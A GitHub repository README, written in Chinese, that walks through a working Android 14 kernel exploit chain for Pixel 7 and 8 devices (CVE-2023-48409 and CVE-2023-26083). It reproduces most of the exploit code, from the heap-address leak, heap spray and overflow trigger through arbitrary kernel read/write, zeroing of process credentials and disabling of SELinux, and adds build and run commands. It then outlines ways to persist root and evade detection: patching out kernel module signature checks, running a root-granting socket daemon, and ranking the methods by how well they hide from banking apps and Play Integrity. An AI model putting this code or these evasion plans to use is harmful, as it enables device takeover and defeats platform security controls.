Skip to content

rickbrian/Pixel_GPU_Exploit

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Pixel GPU Exploit (CVE-2023-48409 / CVE-2023-26083) 完整分析

一、项目概述

项目 信息
仓库地址 https://github.com/0x36/Pixel_GPU_Exploit
作者 0x36
目标设备 Pixel 7 / Pixel 7 Pro / Pixel 8 Pro
目标系统 Android 14 (SPL 2023-10 / 2023-11)
漏洞类型 整数溢出 + 信息泄漏 -> 内核提权
利用效果 root (uid=0) + SELinux disabled
成功率 接近 100%
修复时间 Google 2023 年 12 月安全公告

1.1 涉及的 CVE

CVE 漏洞类型 所在函数 用途
CVE-2023-48409 整数溢出 -> 越界写入 (CWE-787) gpu_pixel_handle_buffer_liveness_update_ioctl 堆溢出覆盖相邻对象
CVE-2023-26083 信息泄漏 Timeline Stream (TLSTREAM_ACQUIRE) 泄漏 kcpu_queue 内核堆地址

1.2 利用链总览

信息泄漏 (CVE-2023-26083)
    | 获取 kcpu_queue 内核堆地址
堆喷射
    | 大量 kcpu_queue + pipe 填满 slab
整数溢出 (CVE-2023-48409)
    | kmalloc 小 buffer, copy_from_user 越界写
覆盖 pipe_buffer
    | 伪造的 pipe_buffer 指向 kcpu_queue
UAF + 堆喷占位
    | 释放 kcpu_queue, 用 pipe_buffer 数组占位
构建任意内核读写
    | 修改 pipe_buffer.page/offset -> 读写任意内核地址
KASLR 绕过
    | 从泄漏的 anon_pipe_buf_ops 计算内核基址
提权
    | 遍历 task_struct -> cred 清零 -> root
    | selinux_state bit0 清零 -> 关闭 SELinux
获得 root shell

1.3 文件结构

文件 说明
poc.cpp 完整 exploit 代码 (C++, 约 700 行)
mali.h Mali GPU ioctl 接口定义
mali_base_common_kernel.h Mali 内核公共头文件
README.md 漏洞分析与利用详解

二、代码详细分析

2.1 设备识别与硬编码偏移

exploit 通过 ro.vendor.build.fingerprint 匹配目标设备, 加载对应的内核符号偏移:

struct device_config {
    const char *fingerprint;            // 设备固件指纹
    __u64 stext_long1;                  // _stext 段前 8 字节 (内核基址验证)
    __u64 stext_long2;                  // _stext 段第二个 8 字节
    __u64 kthread_task;                 // kthreadd task_struct 指针的符号偏移
    __u64 selinux_state;                // selinux_state 全局变量的符号偏移
    __u64 anon_pipe_buf_ops;            // anon_pipe_buf_ops 的符号偏移
    __u64 task_struct_cred;             // task_struct->cred 字段偏移
    __u64 task_struct_pid;              // task_struct->pid 字段偏移
    __u64 task_struct_tasks;            // task_struct->tasks 链表偏移
    void * (*page_to_virt_fn)(__u64);   // page 结构体转虚拟地址
    __u64  (*virt_to_page_fn)(__u64);   // 虚拟地址转 page 结构体
};

支持的设备配置:

索引 设备 fingerprint SPL
0 Pixel 8 Pro (husky) google/husky/husky:14/UD1A.231105.004/... Nov 2023
1 Pixel 7 Pro (cheetah) google/cheetah/cheetah:14/UP1A.231105.003/... Nov 2023
2 Pixel 7 Pro (cheetah) google/cheetah/cheetah:14/UP1A.231005.007/... Oct 2023
3 Pixel 7 (panther) google/panther/panther:14/UP1A.231105.003/... Nov 2023

设备匹配函数:

struct device_config * get_device_config(void) {
    char prop_value[PROP_VALUE_MAX];
    __system_property_get("ro.vendor.build.fingerprint", prop_value);
    for (int i = 0; i < sizeof(dev_conf)/sizeof(struct device_config); i++) {
        if (!strncmp(dev_conf[i].fingerprint, prop_value,
                     strlen(dev_conf[i].fingerprint)))
            return &dev_conf[i];
    }
    return NULL;  // 不支持的设备
}

Pixel 7 与 Pixel 8 的内存布局差异 -- 两者的 page_to_virt / virt_to_page 计算公式不同:

// Pixel 7 (Tensor G1/G2)
void * __page_to_virt(__u64 page) {
    return ((void*)(((((unsigned long long)page << 6) +
                      0xFFFFC008000000LL) & 0xFFFFFFFFFFF000LL
                     | 0xFF00000000000000LL)));
}

// Pixel 8 Pro (Tensor G3)
void * __page_to_virt2(__u64 page) {
    return ((void*)(((__u64)page << 6) & 0xFFFFFFFFFFF000LL
                    | 0xFF00000000000000LL));
}

2.2 Mali GPU 驱动交互层

exploit 封装了一系列 Mali GPU ioctl 操作函数:

函数 ioctl 命令 用途
kbase_api_handshake() KBASE_IOCTL_VERSION_CHECK 驱动版本握手
kbase_api_set_flags() KBASE_IOCTL_SET_FLAGS 设置 context flags
kbasep_kcpu_queue_new() KBASE_IOCTL_KCPU_QUEUE_CREATE 创建 kcpu_queue 对象
kbasep_kcpu_queue_delete() KBASE_IOCTL_KCPU_QUEUE_DELETE 释放 kcpu_queue 对象
kbase_api_tlstream_acquire() KBASE_IOCTL_TLSTREAM_ACQUIRE 获取 timeline stream fd
kbase_api_buffer_liveness_update() KBASE_IOCTL_BUFFER_LIVENESS_UPDATE 触发漏洞的 ioctl
kbase_api_get_context_id() KBASE_IOCTL_GET_CONTEXT_ID 获取内核 context ID

2.3 信息泄漏: 获取内核堆地址 (CVE-2023-26083)

// 1. 获取 timeline stream fd (开启 CSF tracepoint)
ta->streamfd = kbase_api_tlstream_acquire(fd, BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS);

// 2. 创建 kcpu_queue
ta->kcpu_id = kbasep_kcpu_queue_new(fd);

// 3. 从 stream 中读取事件, 提取内核地址
ta->kcpu_kaddr = get_kcpu_kaddr(ta);

get_kcpu_kaddr() 的工作原理:

#define KBASE_TL_KBASE_NEW_KCPUQUEUE 59   // 事件 ID

__u64 get_kcpu_kaddr(struct kcpu_args *args) {
    char buf[0x1000] = {};
    do {
        ssize_t rb = read(ta->streamfd, buf, sizeof(buf));
        char *p = buf;
        for (ssize_t i = 0; i < rb && rb > 0x24; i++, p++) {
            __u32 msg_id = *(__u32 *)(p);
            __u32 id     = *(__u32 *)(p + 20);   // kcpu_queue_id
            __u32 kid    = *(__u32 *)(p + 24);   // kernel_ctx_id

            // 匹配: 消息类型 = NEW_KCPUQUEUE 且 ID 对应
            if ((msg_id == KBASE_TL_KBASE_NEW_KCPUQUEUE) &&
                (id == ta->kcpu_id) && (kid == ta->kctx_id)) {
                __u64 kcpu_queue = *(__u64 *)(p + 12);  // 内核堆地址!
                return kcpu_queue;
            }
        }
    } while ((rb >= 0) && ta->kcpu_kaddr == 0);
    return 0;
}

Mali 驱动的 timeline stream 在创建 kcpu_queue 时记录事件, 事件数据中 包含了 kcpu_queue 对象的内核堆地址. 该地址本不应暴露给用户空间, 属于信息泄漏.


2.4 Pipe 管理基础设施

exploit 创建大量 Linux pipe 用于堆布局和读写原语:

#define PIPE_CNT_MAX       (0x40 - 1)   // 63 个 pipe
#define PIPE_CNT_STAGE_1   (0x2)         // 前 2 个: 等待被溢出覆盖
#define PIPE_CNT_STAGE_2   (PIPE_CNT_MAX - PIPE_CNT_STAGE_1)  // 后 61 个: UAF 占位
#define PIPE_SIZE           (0x10000)     // 64KB
#define FAKE_PIPE_LEN       (PAGE_SIZE - 1)  // 0xFFF, 伪造长度标记

两阶段初始化:

// Stage 1: 创建 2 个 pipe, 等待被溢出覆盖其 pipe_buffer
pipe_structs_init(psize, 1);

// Stage 2: 创建 61 个 pipe (不设 size), 后续 UAF 占位用
pipe_structs_init(0, 2);

EFAULT 技巧 -- 不更新 len/offset 的读写:

这是 exploit 中最精巧的技术之一. 正常 pipe read/write 会消耗数据 (更新 pipe_buffer 的 offset 和 len), 导致无法重复读写同一个 pipe_buffer. exploit 利用 guard page 触发 EFAULT 来绕过这个问题:

void init_buffers() {
    // 数据区: 9 页可读写内存
    mmap((void*)0x1111110000, STATIC_ADDR_SZ, PROT_READ|PROT_WRITE, ...);
    // 紧跟其后: 1 页不可访问的 guard page
    mmap((void*)(0x1111110000 + STATIC_ADDR_SZ), PAGE_SIZE, PROT_NONE, ...);
}

// 读取 pipe 数据但不消耗 (不改变 pipe_buffer->len/offset)
void pipe_struct_read_with_guard(int pipe_index, void *buffer, size_t bufsize) {
    // 将目标地址设在 guard page 前, 使得 bufsize+1 刚好越过 guard page
    __u8 *ptr = (__u8 *)__pbuf_end - bufsize;
    bzero(ptr, bufsize);
    // 多读 1 字节 -> 触及 guard page -> EFAULT
    // 但 bufsize 字节的数据已经拷贝完成
    ssize_t rb = pipe_structs_read(pipe_index, ptr, bufsize + 1);
    assert((rb < 0) && errno == EFAULT);  // 必须是 EFAULT
    memcpy(buffer, ptr, bufsize);
}

// 写入 pipe 数据但不前进写指针
void pipe_struct_write_with_guard(int pipe_index, void *buffer, size_t bufsize) {
    __u8 *ptr = (__u8 *)__pbuf_end - bufsize;
    memcpy(ptr, buffer, bufsize);
    ssize_t wb = pipe_structs_write(pipe_index, ptr, bufsize + 1);
    assert((wb < 0) && errno == EFAULT);
}

原理: 当 copy_page_to_iter / copy_page_from_iter 在拷贝过程中遇到不可访问 的页 (guard page) 时返回 EFAULT. 此时数据已部分拷贝完成, 但由于返回错误, 内核不会更新 pipe_buffer 的 offset 和 len, 实现了 "偷看/偷改" pipe_buffer 内容而不消耗数据的效果, 可以反复操作同一个 pipe_buffer.


2.5 堆喷射

大量分配 kcpu_queue 对象填满 slab allocator, 使后续分配位置可预测:

#define FDS 100
#define KBASEP_MAX_KCPU_QUEUES 256

// 打开 100 个 mali 设备
int mfds[FDS + 1] = {};
for (int i = 0; i < FDS; i++) {
    mfds[i] = open_device("/dev/mali0");
    kbase_api_handshake(mfds[i], &cmd);
    kbase_api_set_flags(mfds[i], &flags);
}

// 每个设备创建 256 个 kcpu_queue (共 25600 个)
// kcpu_queue 是 order-2 分配 (4 页 = 16KB)
for (int i = 0; i < FDS; i++) {
    for (int j = 0; j < KBASEP_MAX_KCPU_QUEUES; j++)
        kcpu_ids[i][j] = kbasep_kcpu_queue_new(mfds[i]);
}

// 当前 context 也创建 254 个
for (int i = 0; i < 255 - 1; i++)
    kcpu_ids[FDS][i] = kbasep_kcpu_queue_new(ta->fd);

目的: 当我们释放一个 kcpu_queue 后, 下一个同大小的分配 (pipe_buffer 数组) 大概率会落到同一个位置, 实现精准的 UAF 占位.


2.6 构造溢出数据: 伪造 pipe_buffer

内核 pipe_buffer 结构体:

struct pipe_buffer {
    __u64 page;             // 指向 struct page
    unsigned int offset;    // 页内偏移
    unsigned int len;       // 数据长度
    const void *ops;        // pipe_buf_operations 指针
    unsigned int flags;     // 标志位
    unsigned long _private;
};

在溢出数据中构造两个伪造的 pipe_buffer:

// 伪造 pipe_buffer #1 (用于读, 偏移 0)
struct pipe_buffer *p = (struct pipe_buffer *)ptr;
p->page   = conf->virt_to_page_fn(ta->kcpu_kaddr);   // 指向 kcpu_queue 的页
p->offset = 0;
p->len    = FAKE_PIPE_LEN;  // 0xFFF -- 作为识别标记
p->ops    = (const void *)(ta->kcpu_kaddr + 0x50);    // 非 NULL, 避免 crash
p->flags  = PIPE_BUF_FLAG_CAN_MERGE;  // 0x10, 允许合并写入

// 伪造 pipe_buffer #2 (用于写, 偏移 0x4000)
p = (struct pipe_buffer *)(ptr + 0x4000);
p->page   = conf->virt_to_page_fn(ta->kcpu_kaddr);
p->offset = 0;
p->len    = 0;              // 写入起始位置
p->ops    = (const void *)(ta->kcpu_kaddr + 0x50);
p->flags  = PIPE_BUF_FLAG_CAN_MERGE;

ops 不能为 NULL, 否则内核在 pipe_buf_get() 时解引用 NULL 导致 panic. 这里将 ops 指向 kcpu_queue 对象内部偏移 0x50 处, 该位置的数据恰好不是 NULL.


2.7 触发漏洞: 整数溢出 (CVE-2023-48409)

struct kbase_ioctl_buffer_liveness_update u = {};

__s64 off = 0x8000;
__u64 size = 0x2c01;

// 关键: buffer_count 设为巨大的无符号值 (负数除法的结果)
u.buffer_count      = (__u64)(-off / 0x10);   // = 0xFFFFFFFFFFFFF800
u.live_ranges_count = size;                     // = 0x2c01

u.live_ranges_address  = (__u64)ptr;   // 指向构造的伪造数据
u.buffer_va_address    = (__u64)-1;    // 不使用
u.buffer_sizes_address = (__u64)-1;    // 不使用

内核侧发生了什么 (伪代码):

// gpu_pixel_handle_buffer_liveness_update_ioctl 内部
buffer_info_size = sizeof(__u64) * buffer_count;     // 8 * 0xFFFFFFFFFFFFF800 = 溢出!
live_ranges_size = sizeof(mark) * live_ranges_count;
total = buffer_info_size * 2 + live_ranges_size;     // 溢出后变成小值

char *buf = kmalloc(total);   // 分配了远小于预期的 buffer
copy_from_user(buf, live_ranges_address, live_ranges_size);  // 实际写入量远超 buf
// -> 越界写入! 覆盖堆上相邻对象

buffer_count = 0xFFFFFFFFFFFFF800 乘以 8 后溢出, 最终 kmalloc 分配一个小 buffer, 但 copy_from_user 使用原始的 live_ranges_count 拷贝数据, 大量数据溢出到相邻堆对象.


2.8 检测溢出命中

err = kbase_api_buffer_liveness_update(fd, &u);  // 触发溢出

// 扫描 stage 1 的 pipe, 看哪个的 pipe_buffer 被覆盖了
for (int i = 0; i < PIPE_CNT_STAGE_1; i++) {
    int sz = 0;
    ioctl(pipes[i]->__fds[0], FIONREAD, &sz);  // 查询可读字节数
    if (sz == FAKE_PIPE_LEN) {   // 0xFFF = 我们伪造的 len
        fake_pipe_index = i;
        break;
    }
}

通过 FIONREAD 检测: 如果某个 pipe 的可读字节数恰好等于 0xFFF (FAKE_PIPE_LEN), 说明它的 pipe_buffer 已被我们伪造的结构体覆盖, 其 .page 指向 kcpu_queue 的内存页.


2.9 UAF: 释放 kcpu_queue 并用 pipe_buffer 占位

// 释放 kcpu_queue 对象, 腾出内存
struct kbase_ioctl_kcpu_queue_delete _delete = { .id = ta->kcpu_id };
kbasep_kcpu_queue_delete(fd, &_delete);

// 立即用 pipe_buffer 数组占位
// 扩大 stage 2 的 pipe -> 内核分配 pipe_buffer 数组 -> 落到刚释放的位置
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
    fcntl(pipe_rd_id(k), F_SETPIPE_SZ, psize);  // psize = 0x100 * PAGE_SIZE
    usleep(100);
}

// 写入少量数据推进 head 计数器 (使 pipe_buffer->len 非零)
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
    char tmp[0x1000] = {};
    size_t wsize = 0x10 * (k + 1);
    memset(tmp, 0xcc, wsize);
    pipe_structs_write(k, tmp, wsize);
}

此时内存布局:

fake pipe (stage 1) 的 pipe_buffer.page
    | 仍然指向
+---------------------------+
| 原 kcpu_queue 内存        | <- 已被释放
| 现在被某个 stage 2 pipe   | <- 的 pipe_buffer 数组占据
| 的 pipe_buffer[N] 占用    |
+---------------------------+

验证占位是否成功:

pipe_struct_read_with_guard(fake_pipe_index, rwbuf, 0x28);
struct pipe_buffer *pb = (struct pipe_buffer *)rwbuf;

// 验证: page 非 0, len 合理, ops 非 0
if ((pb->page == 0) || (pb->len > PAGE_SIZE) || (pb->ops == 0)) {
    do_print("占位失败\n");
    exit(0);
}

// 记录关键信息
__u32 pipe_index = (pb->len / 0x10) - 1;  // 推算目标 pipe 索引
prw.wr      = pipe_index;           // 被控制的目标 pipe
prw.krw_idx = fake_pipe_index + 1;  // 通过它写 pipe_buffer 内容
prw.krd_idx = fake_pipe_index;      // 通过它读 pipe_buffer 内容
prw.anon_pipe_buf_ops = (__u64)pb->ops;  // 泄漏的内核代码地址

2.10 构建任意内核读写原语

控制链:

fake pipe (krd_idx / krw_idx)
    | read/write with EFAULT trick
    v
目标 pipe 的 pipe_buffer 结构体 (在内核堆上)
    | 修改 .page / .offset / .len
    v
目标 pipe (prw.wr)
    | read() / write()
    v
任意内核地址

读任意内核地址:

static __u64 kernel_read64(__u64 addr) {
    __u64 kaddr_align = addr & ~(PAGE_SIZE - 1);  // 页对齐
    struct pipe_buffer *pb = &prw.pb;

    // 修改目标 pipe 的 pipe_buffer, 使其 page 指向目标地址
    pb->page   = conf->virt_to_page_fn(kaddr_align);
    pb->offset = addr & (PAGE_SIZE - 1);  // 页内偏移
    pb->len    = 0x21;  // +1 触发 EFAULT trick

    // 通过 fake pipe 写入修改后的 pipe_buffer
    update_pipe_buffer(prw.krw_idx, pb, 0x28);

    // 验证写入成功
    fetch_pipe_buffer(prw.krd_idx, prw.rwbuf, 0x28);

    // 从目标 pipe 读取 = 读取目标内核地址的内容
    pipe_structs_read(prw.wr, prw.rwbuf, 0x20);
    return *(__u64 *)prw.rwbuf;
}

写任意内核地址:

void kernel_write(__u64 addr, __u8 *buf, size_t size) {
    __u64 kaddr_align = addr & ~(PAGE_SIZE - 1);
    struct pipe_buffer *pb = &prw.pb;

    pb->page   = conf->virt_to_page_fn(kaddr_align);
    pb->offset = addr & (PAGE_SIZE - 1);
    pb->len    = 0;  // 从 offset 开始写

    // 通过 fake pipe 写入修改后的 pipe_buffer
    update_pipe_buffer(prw.krw_idx, pb, 0x28);

    // 向目标 pipe 写入 = 写入目标内核地址
    ssize_t wr = pipe_structs_write(prw.wr, buf, size);
    assert(wr == size);
}

2.11 绕过 KASLR

// 从被占位的真实 pipe_buffer 中读到 ops 指针
// ops = anon_pipe_buf_ops, 这是内核代码段的全局变量
prw.anon_pipe_buf_ops = (__u64)pb->ops;

// 内核基址 = ops 实际地址 - 已知偏移
prw.kernel_base   = prw.anon_pipe_buf_ops - conf->anon_pipe_buf_ops;
prw.selinux_state = prw.kernel_base + conf->selinux_state;
prw.kthreadd_task = kernel_read64(prw.kernel_base + conf->kthread_task);

原理: 内核创建 pipe 时, pipe_buffer->ops 被设为 anon_pipe_buf_ops (内核 .data 段全局变量). KASLR 只是在固定基址上加随机偏移, 所以 anon_pipe_buf_ops 实际地址 - 已知偏移 = 内核基址.

代码中保留了一个已弃用的暴力搜索方法 (遍历所有 page 找 _stext 签名):

#if 0
// 旧方法: 暴力搜索内核基址 (已弃用)
for (__u64 page = 0xFFFFFFFEFFE00000; page < 0xFFFFFFFFFFE00000; page += 0x40) {
    __u64 addr  = kernel_read64(conf->page_to_virt_fn(page));
    __u64 addr2 = *(__u64 *)(prw.rwbuf + 8);
    if ((addr == conf->stext_long1) && (addr2 == conf->stext_long2)) {
        prw.kernel_base = conf->page_to_virt_fn(page);
        break;
    }
}
#endif

新方法只需一次减法, 无需搜索, 速度和可靠性都大幅提升.


2.12 提权: 获取 root

遍历 task_struct 双向链表找到当前进程:

__u64 get_current_task() {
    __u64 curr_tsk = prw.kthreadd_task;  // 从 kthreadd (pid=2) 开始
    do {
        pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
        if (pid == getpid()) {
            prw.my_task = curr_tsk;
            return curr_tsk;  // 找到自己的 task_struct
        }
        // tasks 是双向链表, 遍历到下一个进程
        curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
                   - conf->task_struct_tasks;
        usleep(1000);
    } while ((curr_tsk != prw.kthreadd_task) || !curr_tsk);
    return 0;
}

修改 cred 结构体 -> uid=0 (root):

void get_root() {
    // 读取 task_struct->cred 指针
    __u64 creds = kernel_read64(prw.my_task + conf->task_struct_cred);
    // cred 中 uid/gid/suid/sgid/euid/egid/fsuid/fsgid 从 offset 4 连续排列
    // 全部清零 -> 所有身份变为 root (uid=0, gid=0)
    __u8 buf[0x20] = {};
    kernel_write(creds + 4, buf, sizeof(buf));
}

关闭 SELinux:

void disable_selinux() {
    int enabled = kernel_read64(prw.selinux_state);
    __u32 value = (enabled >> 1) << 1;  // 清除 bit 0 (enforcing)
    kernel_write(prw.selinux_state, (__u8 *)&value, 4);
    // 此后 getenforce 返回 Permissive
}

2.13 清理与防 crash

exploit 完成提权后, 需要修复被破坏的内核数据结构, 否则进程退出时 pipe close 路径会访问伪造的 ops 指针导致 kernel panic:

for (int i = 0; i < (256 * FDS); i++) {
    __u64 area = kcpu.kcpu_kaddr + (i * 0x4000);
    __u64 kaddr = kernel_read64(area);
    if (kaddr == conf->virt_to_page_fn(ta->kcpu_kaddr)) {
        // 1. 增加 page refcount, 防止页被释放时 panic
        __u32 refcount = 21;
        kernel_write(kaddr + 0x34, (__u8 *)&refcount, 4);

        // 2. 恢复 ops 为合法的 anon_pipe_buf_ops
        //    这样 pipe close 时调用 ops->release 不会 crash
        kernel_write(area + 0x10, (__u8 *)&prw.anon_pipe_buf_ops, 8);
        kernel_write(area + 0x10 + 0x4000, (__u8 *)&prw.anon_pipe_buf_ops, 8);
        break;
    }
}

close(ta->streamfd);

// 启动 root shell
if (getuid() == 0) {
    system("/system/bin/sh");
}

2.14 编译与执行

Standalone 模式编译 (推荐):

$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android31-clang++ \
    -DUSE_STANDALONE -static -o exploit poc.cpp

JNI 模式 (嵌入 Android App):

不加 -DUSE_STANDALONE, 编译为 .so, 入口函数为 Java_com_example_myapplication_MainActivity_stringFromJNI().

执行:

adb push exploit /data/local/tmp/
adb shell chmod +x /data/local/tmp/exploit
adb shell /data/local/tmp/exploit

成功输出:

[+] Target device: 'google/panther/panther:14/...'
[+] Got the kcpu_id (0) kernel address = 0xffff...
[+] Found corrupted pipe with size 0xfff
[+] SUCCESS! we have a fake pipe_buffer!
[+] kernel base = 0xffff..., kthreadd_task = 0xffff...
[+] Found our own task struct 0xffff...
[+] Successfully got root: getuid() = 0 getgid() = 0
[+] Successfully disabled SELinux
[+] Cleanup ... OK
# (root shell)

三、KernelSU 接管方案分析

3.1 为什么要接管

exploit 提供的临时 root 存在以下局限:

局限 说明
非持久化 重启后 root 丢失
SELinux 关闭 容易被银行 app, Play Integrity 检测
无管理界面 无法控制哪些 app 有 root 权限
无模块系统 无法使用 Magisk/KernelSU 模块

KernelSU 接管后, SELinux 可恢复 Enforcing, 有完整的权限管理和模块系统.


3.2 方案 A: insmod kernelsu.ko (最完善, 复杂度高)

流程

exploit 获取 root + 内核 R/W
    |
kernel_write() patch 掉模块签名检查
    |
insmod kernelsu.ko
    |
setenforce 1 (重新开启 SELinux)
    |
安装 KernelSU Manager APK
    |
完整 KernelSU 体验 (本次开机有效)

绕过模块签名验证

Pixel 7 GKI 内核开启了 CONFIG_MODULE_SIG_FORCE, 直接 insmod 会报 EKEYREJECTED. 需要用内核写原语 patch:

void disable_module_sig_check() {
    // 方法 1: patch sig_enforce 变量为 0
    __u64 sig_enforce_addr = prw.kernel_base + SIG_ENFORCE_OFFSET;
    __u32 zero = 0;
    kernel_write(sig_enforce_addr, (__u8*)&zero, 4);

    // 方法 2: patch module_sig_check 函数返回 0
    // ARM64: mov w0, #0; ret
    // 字节: 00 00 80 52 C0 03 5F D6
    __u8 patch[] = {0x00, 0x00, 0x80, 0x52, 0xC0, 0x03, 0x5F, 0xD6};
    kernel_write(prw.kernel_base + MODULE_SIG_CHECK_OFFSET, patch, sizeof(patch));
}

KMI 版本匹配

kernelsu.ko 必须与内核 KMI 版本严格匹配:

uname -r
# 例: 5.10.149-android13-4-00003-g2xxxxxxxxx

从 KernelSU release 下载对应 android13-5.10android14-5.15 版本的 .ko.

SELinux 恢复

KernelSU 在内核层 hook syscall 和 credential 检查, 对被授权的进程临时修改 security context, 全程不需要关闭 SELinux:

普通 App 请求     -> SELinux Enforcing 正常拦截
授权 App 请求 su  -> KernelSU 内核 hook
    -> 临时赋予 u:r:su:s0 context
    -> 操作完成后恢复
全程 SELinux 保持 Enforcing

insmod 之后立即恢复:

void reenable_selinux() {
    __u32 value = kernel_read64(prw.selinux_state);
    value |= 1;  // set enforcing bit
    kernel_write(prw.selinux_state, (__u8*)&value, 4);
}

操作步骤

# 电脑端
adb push kernelsu.ko /data/local/tmp/
adb push KernelSU-manager.apk /data/local/tmp/

# 运行 exploit (含 patch 签名检查)
adb shell /data/local/tmp/exploit

# root shell 中
insmod /data/local/tmp/kernelsu.ko
lsmod | grep kernelsu
setenforce 1
getenforce  # 应显示 Enforcing
pm install /data/local/tmp/KernelSU-manager.apk

3.3 方案 B: 内核内存 patch 做 Root Server (推荐, 性价比最高)

不需要任何 .ko 文件, 直接利用已有的内核读写原语.

原理

将 exploit 改造为常驻进程, 通过 Unix socket 监听提权请求, 按需修改目标进程的 cred 结构体.

核心代码

// 根据 pid 找到 task_struct 并修改 cred 为 root
void grant_root_to_pid(pid_t target_pid) {
    __u64 curr_tsk = prw.kthreadd_task;
    do {
        pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
        if (pid == target_pid) {
            __u64 creds = kernel_read64(curr_tsk + conf->task_struct_cred);
            __u8 buf[0x20] = {};
            kernel_write(creds + 4, buf, sizeof(buf));
            return;
        }
        curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
                   - conf->task_struct_tasks;
    } while (curr_tsk != prw.kthreadd_task);
}

// 常驻监听
void root_server() {
    int sockfd = create_listen_socket("/dev/su_sock");
    while (1) {
        int client = accept(sockfd, ...);
        pid_t requester_pid = get_peer_pid(client);  // SO_PEERCRED
        grant_root_to_pid(requester_pid);
        close(client);
    }
}

优缺点

优点 缺点
不需要 .ko 文件 没有管理 UI
不需要绕过模块签名 exploit 进程需要常驻
不需要匹配 KMI 版本 需要自己实现鉴权
SELinux 可保持 Enforcing --
提权在内核层, 不走 sepolicy --

3.4 方案 C: su daemon (最简单, 最粗暴)

# exploit 拿到 root 后
cp /data/local/tmp/su /data/adb/su
chmod 6755 /data/adb/su
chown root:root /data/adb/su
/data/adb/su --daemon &
pm install /data/local/tmp/superuser.apk
优点 缺点
5 分钟搞定 SELinux 必须 Permissive
有现成的管理 App 容易被检测
不需要内核知识 安全性差

3.5 关于 ksud (XDA 小米方案) 的说明

XDA 上存在一种使用 ksud boot-patch 的方案 (针对小米高通设备), 原理是:

临时 root
    -> ksud 解包 boot.img
    -> 注入 kernelsu.ko + ksuinit 到 ramdisk
    -> dd 写入 boot 分区
    -> 重启生效

此方案不适用于 Pixel 7, 原因:

小米高通设备 Pixel 7
bootloader 锁定但 AVB 不完整 锁定且 AVB 严格校验
写 boot 后重启 正常启动 AVB 校验失败, 变砖

Pixel 的 AVB (Android Verified Boot) 是标杆级实现, boot 分区改一个字节都会导致启动失败. ksud 本身无法绕过 AVB.


3.6 方案对比总结

             简单度        隐蔽性       功能完整性    SELinux
方案 C       *****         *            **           Permissive
(su daemon)

方案 B       ***           ****         ***          Enforcing
(root server)

方案 A       **            *****        *****        Enforcing
(insmod .ko)

推荐:

  • 只是研究/玩一下 -> 方案 C
  • 在意检测 (银行 app, Play Integrity) -> 方案 B
  • 追求完整 KernelSU 体验且愿意折腾 -> 方案 A

所有方案均为每次开机临时生效, Pixel 7 锁定 bootloader 下无法持久化.


3.7 检测对比

检测项 exploit 临时 root KernelSU 接管后 (方案 A) Root Server (方案 B)
getenforce Permissive Enforcing Enforcing
SELinux 审计日志 异常 正常 正常
su 二进制 无管理 KernelSU 管理
/proc/modules -- 可见 kernelsu 无痕迹
Play Integrity 失败 配合模块可通过 需要额外处理
root 管理 UI KernelSU Manager 无 (需自己写)

3.8 完整时间线 (方案 A)

exploit 运行 (< 1 秒)
  |
关闭 SELinux + 获取 root + 内核 R/W         <- 不安全窗口 (几秒)
  |
patch 模块签名检查 (kernel_write)
  |
insmod kernelsu.ko                           <- KernelSU 接管
  |
setenforce 1                                 <- SELinux 恢复 Enforcing
  |
安装 KernelSU Manager
  |
正常使用 (root 授权/模块/隐藏)              <- 安全状态
  |
重启 -> 一切恢复原样, 需要重新运行 exploit

About

Android 14 kernel exploit for Pixel7/8 Pro

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • C++ 72.9%
  • C 27.1%